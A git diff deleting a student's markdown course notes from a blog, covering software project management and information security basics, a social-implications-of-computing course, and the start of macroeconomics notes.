Methodologies - -- Structured - - system is a set of processes - - processes accept inputs and outputs - - processes interact with data stores -- Object-Oriented - - Collection of interacting objects - -### Software Testing Goals - -- Validation -- Demonstrate software meets requirements -- Defect discovery - -### Software Testing Strategies - -- Glass-box or white box testing - - Can see internal, try running all lines -- Black-box testing - - Can't see the internal structure -- Gray-box testing - - Tester has partial knowledge of internal workings - - Access to some internal details such as architecture, database structure or specific code segments - -### Software Testing Types - -- Unit testing - - testing individual components in isolation -- Module testing - - test module according to requirements -- Integration testing - - combine modules and group testing - - expose faults between integrated components -- System testing - - test entire thing as per requirements -- User acceptance testing - - final testing for release done by customer - -### Why do Systems Fail - -- Missing or Wrong or impossible requirements -- Fault design/code -- Improperly implemented design -- Want to fix errors sooner in process of (requirements, design, coding, development testing, acceptance testing, operation) - -### Development Management - -A project is an effort to reach a specific goal by completing a unique set of interconnected tasks and making good use of resources - -unique purpose, temporary, requires resources, involve uncertainty - -lifecycle - -- collection of logical stages or phases that maps the life of a project from its beginning to its end for a project -- tangible and verifiable products of work - -### Project Lifecycle - -1. Project initiation: define project charter (objective & scope) -2. Planning - - work breakdown structure - - time estimate for each task - - cost estimate for each task - - Graphically portray activities in network diagram - - Calculate schedule and budget -3. Execute -4. Close - -### Project Planning - -- Time-consuming -- Revised regularly -- Various plans developed to support master project plan - -### Common Types of Plans (FYI) - -- Quality plan -- Validation plan -- Configuration management plan -- Self development plan -- Risk management plan -- Communication plan - -### Project Constraints - -- Schedule, budget, resources (triangle) -- Estimate: (optimistic + 4 \* realistic + pessimistic) / 6 - - Top-down macro (analogy, or math) - - Bottom-up micro (guess cost of the work breakdown) -- Critical path is the longest amount of time it will take to complete the project - -### Monitoring and Control - -- baseline plan -- monitor progress -- measure actual progress and compare it to planned progress -- take corrective action(s) if the project is behind schedule, overrunning the budget - -### Metrics Classification - -- product metrics - - software product characteristics - - size and complexity o the system - - quality and reliability of the system - - lines of code, FP, meat time to failure, number of errors -- process metrics - - system development process characteristics - - processes, techniqes, tools (lead time, defect rate, productivity, compliance, cost variance) - -### Cumulative Budgets and Actual Cost - -Keep track with a graph - -### Project Closure - -- Handover deliverables to customer -- Pass the project documentation to the business -- Cancel supplier contracts -- Release staff and equipment -- Inform stakeholders of the closure of the project - -### Types of Dependency - -- Finish to start - - predecessor must finish -- Finish to finish - - cannot finish until previous finishes -- start to start - - cannot start until other starts -- start to finish - - cannot finish until other has started - -## Managing Information Security - -- Protecting data from unauthorized access, use, disclosure, disruption, modification, or destruction. -- Integrity: accurate and reliable and authorization -- Availability: information is accessible by authorized individuals -- Confidentiality: protection from the unauthorized -- Protecting intellectual property, sensitive customer data, and internal communication are vital for maintaining trust, compliance, competitive advantage, and ultimately, business survival. - -### What is Information Security? - -- Information security aims to maintain the confidentiality, integrity, and availability of data in all its forms. -- Another crucial objective is ensuring Business Continuity (the ability of the organization to continue operations even in the event of security breaches or disasters). - -### Security Threats - -- Software attacks like computer viruses, computer worms, malware, and ransomware - - Trojan: appears to be legitimate and not harmful but then does something unexpected (downloaded malicious file) - - Worms: replicate copies, standalone, do not need host program or human help to activate or propogate -- Identity theft - - fraudulent acquisition and use of another's private information - - phishing - - data breaches - - Website spoofing: Man in the middle attack (certificate not valid) - - DNS Spoofing -- Intellectual property (IP) theft - - underlying tech -- Sabotage, information extortion, or equipment theft -- Ransomware - - Sobeys hit with Black Basta - -- Advanced persistent threats (APTs) involve long-term targeted attacks on specific organizations. -- Internet of things (IoT) creates new vulnerabilities, cloud storage - -### Security Management - -- Personnel security: authorization - - ensuring that only authorized individuals can access an organization's sensitive information and systems. - - background checks, security awareness training - - humans can be the weakest link -- Application security: fixing security vulnerabilities - - vulnerability scanning, code review, and penetration testing -- Operating system (OS) security: protect the OS - - anti-virus - - updating - - OS is the backbone -- Network security: prevent and monitor misuse of network - - intrusion, modification, destruction, or unauthorized access. -- Web services security: protocols and encryption - - secure communication -- Facility security: physical security of the premises - - surveillance systems, secure access controls, and alarm systems. - - often overlooked - -### Equifax - -- Setting strict standards for data protection similar to PIPEDA - - regular audits - - encryption - - robust disaster recovery -- Transparency -- Accountability -- Regular updates -- Action -- Support - -### Five Pillars - -- Authentication - - verify user -- Identification - - Granting appropriate access - - Web cookie: read only be webserver for domain issuer - - Session: browser's temporary subfolder - - Persistent: permanent in browser's subfolder - - First party: site visits - - Third party: come from website you aren't visiting (advertisements usually) -- Privacy -- Integrity - - Ensure trustworthiness of data (consistent, accurate, unaltered) - - Checksum (hash functions, message digests) fixed-size, unique output values from input data of any size - - verify integrity and authenticity of data by detecting any changes or tampering -- Non-repudiation - - Ensure that no party can deny that their signature is on sent/received data - - provides assurance - - Digital signature - - cryptographic mechnism - - ensure sender is verified - - public-key cryptography - - private key used to sign, public key verifies - - only sender can use the private key - - Symmetric (SKE) vs. Asymmetric - - Symmetric: same key is used for encrypting and decrypting - - Asymmetric: pair of private and public keys - - often used for generating signatures - - Digital cert - - uses a trusted third party known as a certificate authority (CA). - - CA generates an encrypted digital certificate containing owner identification information and a copy of the owner’s public key - -### Technical Countermeasures - -- hardware or software tools and techniques used to protect information and data from security threats -- Firewalls, Encryption/Decryption, Steganography and Virtual Private Networks (VPNs) -- Firewall - - controls incoming and outgoing data transmissions - - allows authorized communication and denies unauthorized access - -### Steganography - -- Hides the existence of a message - - Hiding data in graphic images or sound file - - Concealed messages in tampered executable files - - Pictures embedded in video material - -### Virtual Private Network (VPN) - -- VPN technology creates a secure and encrypted connection between a user's device and the internet -- route traffic through remote server operated by VPN provider -- Need for inexpensive but secure connections between distant locations - -### Intranet - -- internal network -- centralized hub -- secure platform where employees can access important company news, updates, policies, and procedures -- repository for documents - -### Management Countermeasures - -- Computer Auditing, Computer Monitoring, and Economic Evaluation of Security Measures. -- Balance security with business needs -- Computer auditing - - assess and inspect - - verify system logs, access controls, and data integrity measures - - reduces risks of data breaches -- Computer Monitoring - - within an organization's network - - detect any irregular behavior - -### Examples - -- Cyberattacks on USA Energy Grid (CNN) -- DDoS attack on Los Angeles County and Salt Lake City -- DDoS using botnet -- Performing a Cybersecurity Audit of an Electric Power Transmission Systems Operator -- Meta's Threads App - - Potential trade secrets lawsuit by Twitter - -### Economic Evaluation of Security Measures - -- balance between lost and cost to fix -- assess direct costs (purchases) and indirect (employee training, downtimes) - -### RIsk Management - -## Centric - -### Information-Centric Decision Making - -- accurate, relevant, information and analytical tools to make decisions based on insights rather than intuition diff --git a/content/posts/university/cs-492-social-implications-of-computing.md b/content/posts/university/cs-492-social-implications-of-computing.md deleted file mode 100644 index fd7ae0bea..000000000 --- a/content/posts/university/cs-492-social-implications-of-computing.md +++ /dev/null @@ -1,236 +0,0 @@ ---- -title: "CS 492 Social Implications of Computing" -date: 2023-05-09T12:26:05-04:00 -draft: false -tags: - - university -summary: "Notes for CS 492 Social Implications of Computing, exploring technology's impact on society, privacy, security, communication, addiction, e-voting, and cryptocurrencies." ---- - -[course website](https://student.cs.uwaterloo.ca/~cs492/23Spublic_html/) - -[time table](https://student.cs.uwaterloo.ca/~cs492/23Spublic_html/timetable.html) - -{{< toc >}} - -## Week 1 - -[Neil Postman: Five Things We Need to Know About Technological Change](https://www.student.cs.uwaterloo.ca/~cs492/papers/neil-postman--five-things.html) - -1. trade-offs exist - - computer users neglect to share liabilities - - automobiles poison the air and degrade the landscape - - culture pays a price for technology -2. advantages and disadvantages are not distributed equally - - Who benefits and is harmed from the development of new technology -3. behind each technology is a philosophy -4. technology has ecological large change and is not an additive -5. technology becomes so embedded it is looked upon as a nature - - requires human awareness - -[Some Thoughts About the Social Implications of Accessible Computing](https://dl.acm.org/doi/pdf/10.1145/1463891.1463917) - -Thanks ChatGPT: - -> The authors argue that accessible computing, which refers to the ability of individuals to access and use computers easily, can have far-reaching implications for social change. They discuss how accessible computing can promote increased efficiency and productivity, greater accessibility to information, and enhanced communication between people. However, they also raise concerns about the potential negative effects of computing on privacy, personal relationships, and employment. The authors conclude that accessible computing has the potential to both improve and challenge existing social structures, and that it is important to carefully consider the social implications of this technology as it continues to evolve. - -1. Privacy: The authors argue that accessible computing could lead to a loss of privacy. They note that as more information becomes available online, it becomes easier for individuals and organizations to collect data on people without their knowledge or consent. This could have serious consequences for personal privacy and civil liberties. -2. Social isolation: The authors suggest that accessible computing could contribute to social isolation, as people become increasingly reliant on digital communication and interaction at the expense of face-to-face interaction. They note that this could have negative consequences for mental health and social well-being. -3. Employment: The authors note that accessible computing could lead to job displacement and unemployment, particularly in industries that rely on manual labor or routine tasks. They suggest that this could exacerbate existing social and economic inequalities. -4. Digital divide: The authors argue that accessible computing could widen the gap between those who have access to technology and those who do not, creating a digital divide that could have serious social and economic consequences. - -[Human Values and the Future of Technology: A Declaration of Empowerment](https://dl.acm.org/doi/pdf/10.1145/97344.97360) - -- argues for a more human-centric approach for designing and implementing technology -- principles: - - Respect for human rights: Technology should be designed and implemented in a way that upholds human rights, including privacy, freedom of expression, and access to information. - - Transparency: The design and operation of technology should be transparent, so that users understand how it works and how it affects their lives. - - Accessibility: Technology should be accessible to all people, regardless of their age, ability, or socioeconomic status. - - Disagree: children should not have access to some sites, it deprives them of their innocence and takes advantage of their lack of consciousness as well as their lack of foresight and lack of hardened morals - - Accountability: Those who design and operate technology should be accountable for its impact on society, and there should be mechanisms in place to ensure that they are held responsible. - - User-centered design: Technology should be designed with the needs and perspectives of users in mind, to ensure that it serves their goals and priorities. - - Sustainability: Technology should be designed and operated in a way that minimizes its impact on the environment and promotes sustainable development. - -[No More Phones and Other Tech Predictions for the Next Decade](https://www.nytimes.com/2019/12/31/opinion/2019-in-tech.html?smid=nytcore-ios-share) - -- smartphones will become obsolete and replaced by wearable devices, such as smart glasses or watches. Additionally, it predicts that voice assistants will become more prevalent and advanced -- AI and ML will become more pervasive - - AI being integrated into various aspects of our lives such as healthcare, education, and transportation - - 5G adoption → autonomous vehicles and augmented reality experiences. - - biotechnology, including gene editing and personalized medicine. - -[Unintended consequences](https://dl.acm.org/doi/10.1145/3184402) - -- in inventing new technologies, scientists and engineers often focus on the potential benefits and may not consider the possible negative consequences -- automobile, which brought benefits like faster transportation but also had negative consequences such as increased pollution and traffic accidents. -- internet: cyberbullying, fake news, and online harassment. -- unintended consequences can be found via: ongoing research and development, as well as greater collaboration between scientists, policymakers, and the public. - -[A Future Where Everything Becomes a Computer Is as Creepy as You Feared](https://www.nytimes.com/2018/10/10/technology/future-internet-of-things.html) - -- The article argues that while the convenience and efficiency of the IoT are appealing, the technology also poses significant risks to privacy and security. -- growing risk of hackers gaining access to personal information and even taking control of devices. -- The article also discusses how the constant collection of data by IoT devices poses a threat to privacy. Companies can collect and analyze data from these devices to learn more about consumers' habits and preferences, which could be used for targeted advertising or even sold to third parties without consumers' knowledge or consent. -- be cautious and take steps to protect our privacy and security -- consumers being informed about the risks and taking measures such as using strong passwords and being selective about the devices they connect to the internet. - -[A declaration of the dependence of cyberspace](https://dl.acm.org/doi/10.1145/3182625) - -- co-founder of the Electronic Frontier Foundation. -- Verifiability and trust are only two requirements from a currency (bitcoin). Other requirements, which are intimately related, are value and supply -- Apparently 2% depreciation of the currency is good for economic growth (not cited by anyone who pushes 2%) - - the idea that apolitical money will replace political money is "delusional" -- basically a statist - -## Week 2 - -[Trust, authenticity, and discursive power in cyberspace](https://dl.acm.org/doi/10.1145/504729.504748) - -There exist challenges of verifying authenticity in an environment characterized -by anonymity, pseudonyms, and digital manipulation are explored, -shedding light on the potential for deception and manipulation. - -## Week 3 - -['Terrifying': How a single line of computer code put thousands of innocent Turks in jail](https://www.cbc.ca/news/world/terrifying-how-a-single-line-of-computer-code-put-thousands-of-innocent-turks-in-jail-1.4495021) - -- Bylock - -every time I read these articles, I have to go down the rabbit hole. - -## RPE 3 - -### Team A - -- S - -### Team B - -- identity theft & data breaches - - UID is worse than status quo - - False sense of security - - Humans are the worst link for cyber security - -- > new procedures and policies, or $5B and the budget is $60B per year already -- Facebook 2019 data breach -- "Canada does not have the technology to build this" - -- single point of failure -- political implications -What if Universal IDs were not an identity thing, but a physical thing, and we had offline hashing and encryption comparison? - -- Roger's network going down -- Prime target for hackers - -## RPE Misinformation - -- misinformation can turn into violence -- would art work be considered misinformation? A person shared a meme about voting by texting -- this is already a criminal offense with regards to elections, should the laws be rolled out by industry or activity rather than a blanket rule for everything? -- now we are using AI to detect misinformation? Would'nt that be misinforception - -- how would you go about implementing misinformation literacy education when people including us have not been forced to take a class on misinformation as well as the millions of people who are already working in the workplace. - - classrooms is okay - -- community notes are good however I usually see them on viral posts but not on tweets posted by popular users which don't go viral - -## Week 7 - -### Ethics and Ethics Workshop - -### Chat GPT - -[Meet Unstable Diffusion, the group trying to monetize AI porn generators](https://techcrunch.com/2022/11/17/meet-unstable-diffusion-the-group-trying-to-monetize-ai-porn-generators/) - -[Deepfake porn could be a growing problem amid AI race](https://www.theglobeandmail.com/business/technology/article-deepfake-porn-could-be-a-growing-problem-amid-ai-race/) - -[Microsoft Says New A.I. Shows Signs of Human Reasoning](https://www.nytimes.com/2023/05/16/technology/microsoft-ai-human-reasoning.html) - -## Week 8 - -### Computer-Mediated Communication - -[Cellphones and Texting have Blown Up the Dating Culture](https://www.usatoday.com/story/news/nation/2013/07/18/mobile-dating-behavior-technology/2500359/) - -- safety because don't have to be face-to-face -- less intimidating because not real time communication -- texting makes rooms for games and shows no commitment unless explicitly stated - -[Can Blogs Revolutionize Progressive Politics?](https://inthesetimes.com/article/can-blogs-revolutionize-progressive-politics) - -- lots of buzzwords from this 2006 article: netroots - - online grassroots constituency - - wow RSS feeds are mentioned -- https://mydd.com/ and https://www.mydd.com/ are two different blog pages -- fact checking all the way back in 2006 but yet it took over a decade for insane fact checking - -### Video Games - -[Video Game Addiction Symptoms, Causes and Effects](https://www.psychguides.com/guides/video-game-addiction-symptoms-causes-and-effects/) - -- 6 to 15 percent of all gamers exhibit signs that could be characterized as addiction - -[Is Internet Addiction a Real Thing?](https://www.newyorker.com/science/maria-konnikova/internet-addiction-real-thing) - -- Both behavioral and substance addictions are characterized by an inability to control how often or how intensely you engage in an activity -- some genetic basis -- brain’s reward circuitry -- substantial overlap (substance abuse and gambling) - -[Not just a video game: the obsessive world of gaming and its young stars](https://www.cbc.ca/news/canada/not-just-a-video-game-the-obsessive-world-of-gaming-and-its-young-stars-1.809580) - -> When Steve and Angelika Crisp confiscated his console during Thanksgiving weekend, the teen threatened to run away from home — and did on Monday Oct. 13, 2008. His body was found three weeks later in a forest, with the cause of death determined to have been a blow to the chest likely caused by falling from a tree. - -- 15-year-old -- Many kids are playing M-rated games -- Can turn into a profession - - If kids can skip classes for professional sports, why not professional e-sports? - -## Week 9 - -### Gender Balance - -### Security - -[Edward Snowden, Whistle-Blower](https://www.nytimes.com/2014/01/02/opinion/edward-snowden-whistle-blower.html) - -## Week 12 - -### E-Voting, 3D Printing, Big Data - -[United States Case Study on E-Voting](https://cs.stanford.edu/people/eroberts/cs201/projects/2006-07/electronic-voting/index_files/page0004.html) - -Margin is in the hundreds, but millions of votes were lost due to technical malfunctions. - -France has remote internet voting - -Can vote remotely through the internet. I like this methodology since you cna set a bounty of $1 million which -will deter black hat hackers. Such amount of money deters crimes, rewards security, and can ensure that more -Canadians can vote. Voting would take less than 5 minutes, could be done through phones, and would be as secure -as logging into your bank account or CRA account. SIN plus 2FA. - -[Untraceable 3D-printed 'ghost guns' on the rise in Canada](https://www.cbc.ca/news/canada/3d-printed-guns-canada-increase-1.6708049) - -- ghost gun -- untraceable -- used in crimes -- 3D printed illegal parts, buy non-illegal part -- silencers - -### Cryptocurrencies and Ransomware - -Pros - -- Won't face restrictions to withdraw money -- Can send unlimited money internationally with paying extra fees -- Transfers are instant or are finalized within 30 minutes - -Cons - -- Criminals can use it for financing -- Users might not be able to store it properly - - solved by crypto-banks that are insured similar to how fiat banks are insured -- Price volatility - - Cryptocurrencies shouldn't be bought to make it big - - Rather buy for the purpose of using it as currency in the present or future -- Technical jargon diff --git a/content/posts/university/ec-250-macroeconomic-analysis.md b/content/posts/university/ec-250-macroeconomic-analysis.md deleted file mode 100644 index d4455943b..000000000 --- a/content/posts/university/ec-250-macroeconomic-analysis.md +++ /dev/null @@ -1,2287 +0,0 @@ ---- -title: "EC 250 Macroeconomic Analysis" -date: 2024-01-09T14:28:58-05:00 -draft: false -tags: - - university - - economics -summary: "Detailed notes and summaries from an EC 250 Macroeconomic Analysis course, covering national income, GDP, saving, wealth, inflation, interest rates, productivity, labor, unemployment, consumption, investment, open economy, business cycles, IS-LM-FE model, Phillips curve, monetary policy, government finance, and economic growth." ---- - -## Course Takeaways - -- What is the economy (i.e. output production. aka GDP)? - - goods and services created that can we can place monetary value on - - some activities may not be included like people staying at home instead of paying for daycare - - output is made up by capital stock, labour and a productivity factor, which doesn't have numerical breakdown - - there are many ways to measure GDP -- Without impacting consumption, only productivity determines long-run economic growth - - there are a variety of ways to improve productivity, read the section on policies [long-run-growth policies](#long-run-growth-policies) -- Capital - - Capital are assets that people use to generate output - - Investments are made to maintain and grow capital -- Labour - - People choose to make trade-offs between leisure and money - - People want to fund their leisure time so work money for that purpose - - Obviously and unfortunately, there are situations where the person is living to work versus working to live -- Economic Cycle of busts and booms ("full employment") - - "full employment" is where unemployment rate equals natural unemployment, something hard to measure and can change - - natural unemployment can exist due to matching issues (e.g. oil & gas jobs went to renewable sector) and due to the _friction_ of changing jobs (hunting for a job after being laid off) - - Policies can be created to reduce matching issues and Employment Insurance can affect the friction (noticeable between provinces). - - shocks are what change the state of the economy drastically - - technology shocks (transistor, internet), productivity shocks (COVID-19), supply shocks (higher oil prices because of OPEC) -- Money - - exists for the sole purpose of making commerce efficient - - money can be interpreted as liquid assets meeting "what can be used to buy goods right now" - - money supply is influenced by the central bank and is made large because of fractional reserve lending - - for each dollar deposited at an institution, if the bank knows it only requires 20% to meet demand, it can lend until 80% has been fully lended (divide by 0.81) -- Inflation: increase in the price of goods and services - - can be deliberately induced by the central bank - - central bank policies have a lagging effect so money supply can grow in the past year and its effects may take another year - - goal of money supply growth is to reduce interest rates to spur investments - - money supply has no effects on full-employment in the long-term, short-term is up for debate since it does cause inflation - - if the money supply grows, market participants end up realizing their dollars are worth less in a real sense and will increase prices - - currently most central banks focus on annual inflation, but if they focused on stable price levels, then it would make it easier to properly invest today's money. Inflation targeting results in $1 being equal to a range of values in 20 years rather than a single value, which would be the case if price level targeting was used instead. - - inducement by federal - - crowding out: interest rates go up (lower private investments) because federal government spending too much - - costs of inflation - - cost of updating price labels: _shoe leather costs_ - - unanticipated inflation hurts savers and rewards banks and lenders - - hyperinflation: money loses meaning - - unexpected inflation and unemployment are related - - almost impossible to keep inflation unexpected - -## Chapter 1 Introduction - -### Long-Run Economic Growth - -- Developed countries have experienced extended periods of rapid economic growth whereas developing have either never experienced it or had periods of economic decline -- long-term growth: increase in output per unit of labour input (per worker, per hour) (aka **average labour productivity**) - - how to increase? -- 2016 Canadians 6x output than 1921 Canadians - -### Business Cycles - -- short periods of slower and negative growth or rapid growth - -### Unemployment and Price Instability - -- two key economic variables for measuring economic costs -- inflation: ongoing increase in prices of goods and services - - 1970s (10%) -- deflation: ongoing decrease in prices of goods and services - - Great depression (wages also fell) -- Policy makers guard against the threat of prolonged periods of deflation such as Japan has experienced since the 1990s (BUT WHY) - - Also don't want to be like Zimbabwe with runaway inflation (hyperinflation) - -### International Economy - -- **open economy** - - significant trading and financial relationships with other national economies - - closed economy: does not interact with rest of the world -- trading - - export: allows Canadian manufacturers to grow larger than if they were limited to the Canadian market - - import: allows Canadian consumers to choose from the best the world has to offer - - think: import fruits during Winter and export excess wheat - - When Exports > Imports, **trade surplus**. - - **Trade deficit** is when Exports < Imports. - - Exchange rate influences the trade balance - -### Macroeconomic Policy - -- Fiscal - - Federal, Provincial, Municipal levels - - Spending - - Taxes -- Monetary - - Central bank - - Interest rate - -### Aggregation - -- Aggregate consumption is the total consumer spending -- Not interested in finer details -- Interested in aggregate economic measures which is the sum of each variable - -### Macroeconomic Forecasting - -- Forecasting is a small part -- long-term forecasting is too difficult as there are too many variables - - OPEC oil price - - Droughts -- Focus on interpretation of events as they occur (analysis) -- Focus on structure of the economy (research) - -### Macro Economic Analysis - -- Monitor the economy and figure out implications of current events -- Private sector (impact on financial investments) -- Public sector - - assist in policy making - - macroeconomic problems - - identifying and evaluating possible policy options - -- Actors: households, firms, and government -- Change in income, interest rates, wealth influence on consumption -- Motivations to increase/decrease taxes -- Central bank responding to inflation - -### Economic Model Experiments - -Evaluation of an economic model - -1. Are its assumptions reasonable and realistic? -2. Is it understandable and manageable enough to be used in studying real problems? -3. Does it have implications that can be tested by empirical analysis? That is, can its implications be evaluated by comparing them with data obtained in the real world? -4. When the implications and the data are compared, are the implications of the theory consistent with the data? - -Comparative Static Experiments - -- Initial in equilibrium (demand = supply in all markets) -- A single independent variable is changed -- Events can be shocks (weather that affects wheat yields, discovery of new oil) - -### Disagreeing Macroeconomists - -- always can find someone who disagrees with the status quo -- can even disagree with themselves -- **positive analysis**: economic consequences without desirability analysis - - what would happen if income tax increased by 5% -- **normative analysis**: whether a policy should be used - - should income tax be increased by 5% - -### Classicals vs Keynesians - -- Adam Smith's Invisible hand - - with free markets, individuals will do their own economic affairs for their interests resulting in the overall economy will working well - - Suggested wages and prices adjust fast - - issues; droughts, war, political instability - - developed vs developing - - argued that free markets makes people as economically well off as possible - - key assumptions: no minimum wage or interest rate ceilings - - classicists would argue for limited government role -- Keynesian - - Offered an explanation for the great depression's high unemployment - - Suggested wages and prices adjust slowly - - Government should take actions to alleviate unemployment resulting in slow adjustment of wages and prices - - proposed solution: increase government purchases of goods and services - - demand for what resources? - - proposition was that to handle the demand, more people would need to be hired and then multiplier effect does the rest - - with what money? - -## Chapter 2 - The Measurement and Structure of the Canadian Economy - -- measurement is possible and is required for serious understanding - -### National Income Accounting - -The measurement of production, income, expenditure. - -- national income accounts are an accounting framework used in measuring the current economic activity -- product approach: measure in terms of output produced (sold) excluding intermediate - - sum of value-added (output price - input costs) -- income approach: incomes received by the producers of output - - tax revenue, wages, after-tax profits (shareholder income?) -- expenditure approach: spending by the purchasers of output for consumption and not for input - - add up end user purchases -- total production = total income = total expenditure (fundamental identity of national income accounting) - -### Gross Domestic Product (GDP) - -- broadest measure of aggregate economic activity - -### Product Approach - -- Value-added = Output Sold - Intermediate Output + Inventory Increase -- some useful goods and services are not sold in formal markets - - homemaking, child rearing (and child breeding 😭) done by parents - - action to reduce pollution or otherwise improve environmental quality are not usually reflected in the GDP -- underground economy - - activity hidden from government - - illegal activity such as drug dealing, prostitution, etc. -- government services - - proposed to count at the cost to provide the service -- for housing markets, only new house sales are counted, realtor service is always counted though -- trucking/shipping is intermediary so isn't counted... -- goods that are not used up, such as a lathe, are capital goods that are classified as final goods and included in GDP -- inventory increases are considered final goods because of "greater productive capacity" -- Gross National Product (GNP): domestic factors of production - - Canadian capital and labour used abroad - - net factor payments from abroad (NFP) is income paid to domestic factors of production by the domestic economy (GDP + NFP = GNP) - - GNP is crucial in countries where remittance is sent home (citizens working abroad) - -### Expenditure Approach - -- income-expenditure identity -- Y = C + I + G + NX -- Y= GDP = total production = total income = total expenditure -- C =consumption - - domestic households on final goods and services (60%) - - durable goods (furniture, cars, appliances) - - semi-durable goods (clothing) - - non-durable goods (food and utility) - - services -- I = investment (25%) - - new capital capitals: _fixed capital investment_ - - inventory investment - - government does make investments so that would go here -- G = government purchase of goods and services (20%) - - interest payments are not considered (good) - - is spending fueled by increase in debt counted? yes -- NX = net exports of goods and services - - Exports are spending done by foreigners (injection) - - Imports are spending done abroad - -### Income Approach - -- Employee compensation -- Gross operating surplus (paid to owners of incorporated companies) - - do not include interest costs -- Gross mixed income (unincorporated enterprises) -- Taxes less subsidies on production (net taxes paid by corporations regarding production) -- Taxes less subsidies on products and imports (net taxes paid regarding the final output) -- statistical discrepancy - - expenditure approach minus income approach (added to income) - -### Private Disposable Income - -- want to know how much income goes to private sector (households and businesses) so that demand for consumer goods can be predicted -- private disposable income = Y + NFP + TR + INT - T -- NFP = net factor payments from abroad -- TR = transfers received from the government -- INT = interest payments on the government's debt -- T = taxes -- net government income = T - TR - INT -- GNP = Y + NFP - -### Saving and Wealth - -- assets household owns minus what it owes = wealth -- national wealth is an important metric -- rate of saving -- national wealth depends on how much individuals, businesses, and governments save - -### Aggregate Saving - -- Private saving = private disposable income - consumption = (Y + NFP + TR + INT - T) - C -- Private saving rate = Private Saving / Private Disposable income -- Government saving = net government income - government purchases = (T - TR - INT) - G - - budget surplus = T - (G + TR + INT) -- National Saving = private saving + government saving = Y + NFP - C - G -- Private saving is used for capital investment, financing for government, acquire assets from or lend to foreigners -- S = I + (NX + NFP) = I + CA -- Current Account Balance (CA) = NX + NFP - - payments received from abroad - payments sent abroad - - NFP is negative in Canada meaning foreigners earn more from ownership of Canadian factors of production than Canadians receive due to their ownership of foreign factors of production -- Private Saving = I - Government Deficit + CA - -uses-of-saving identity. Private savings are used in three ways - -- investment -- government budget deficit -- current account balance - -### Saving to Wealth - -- Flow variables: measure per unit of time (e.g. annual GDP) -- Stock variables: one point in time (e.g. amount of money in your bank account on December 20th) -- flow is equal to the rate of change of the stock -- National Wealth = domestic physical assets + net foreign assets -- net foreign assets: foreign stocks, bonds, and factories owned by domestic residents minus foreign liabilities (domestic assets owned by foreigners) -- National wealth can change due to the values changing, or national saving dollar for dollar -- Therefore, national saving can be used to increase stock of domestic physical capital (I) and increase foreign assets - -### Nominal vs Real - -- Nominal refers to current market values -- Does not work for different points in time since market values can increase due to inflation -- Real GDP, constant dollar GDP, measures GDP using prices of a base year -- Nominal GDP, current dollar GDP -- To convert, multiple outputs of GDP by price per output of the base year - -### Price Indexes - -- Average level of prices for some specified set of goods and services -- GDP deflator: price index that measures overall level of G&S in GDP. - - real GDP = nominal GDP / GDP deflator -- Consumer Price Index - - Prices of consumer goods (basket) - - Concern is that the base year might get outdated due to changing consumer habits and goods available -- Inflation = (CPI_n / CPI_(n-1)) - 1 -- Since 1989, inflation target for Canada is between 1 and 3% per year -- Can be overstated due to: - - quality/technology improvements - - substitutes - -### Interest Rates - -- Rate of return promised by the borrower to a lender - - The nominal interest rate is the rate at which the nominal (or dollar) value of an asset increases over time. - - The real interest rate is the rate at which the purchasing power of an asset increases over time -- Varies according to who is borrowing, length, and other factors -- Real vs Nominal Rates - - real interest rate = nominal interest rate - inflation rate - - the nominal rate doesn't account for that the nominal dollars might not buy more assets than the year before -- Expected real interest rate - - borrowers and lender act based on this - - r = i - expected inflation rate -- Expected inflation - - Difficult to determine expected rate - - Ask public - - Assume public has same expectations as what the government announces or private forecasts - - Extrapolate based on current inflation rates - -### Lesson 1 Summary - -- Identify the major issues studied in macroeconomics. -- Explain what macroeconomists do. -- Highlight the similarities and differences between Classical and Keynesian macroeconomists. -- Discuss the three approaches to measuring national income. -- Identify key macroeconomic variables related to national income and discuss how they are related. -- Explain the meaning of these important macroeconomic statistics: -- Gross Domestic Product, -- Consumer Price Index, -- the inflation rate, -- the interest rate. -- Calculate the macroeconomic statistics (listed above). -- Discuss the distinction between real and nominal GDP. -- Calculate the GDP deflator. -- Explain the difference between real and nominal interest rates. -- Calculate the expected real rate of interest. - -## Chapter 3 - Productivity, Output, and Employment - -- Labour market -- Goods and services market -- Asset market -- Full employment -- QS = QD -- Long-term behaviour -- Economic productive capacity - - The more an economy can produce, the more consumption, and the more saving and investing - - Quantities of input and productivity of the inputs - -### The Production Function - -- If an economies factories, farms, and other businesses all shut down, other economic factors would not mean much -- Capital (factories, machines) and labour (workers, would autonomous AGI robots count?) -- Y = A F(K, N) -- Y = real output produced in the current period -- A = overall productivity (total factor productivity) -- K = capital stock, quantity of capital -- N = number of workers employed in the current period -- F = Function relating Y to capital K and N -- Cobb-Douglas production function: Y = A K^a N^(1-a) - - Under certain conditions, a corresponds to the share of income received by capital and labour gets 1 - a - -Productivity and standard of living is highly correlated, but is it a casual relationship? I don't think so. There has to be a common cause of both these two variables (obviously one being the income in the previous year, but I'd argue we need to look at monthly data since a year is simply the Earth traveling around the Sun but nothing really economical). - -
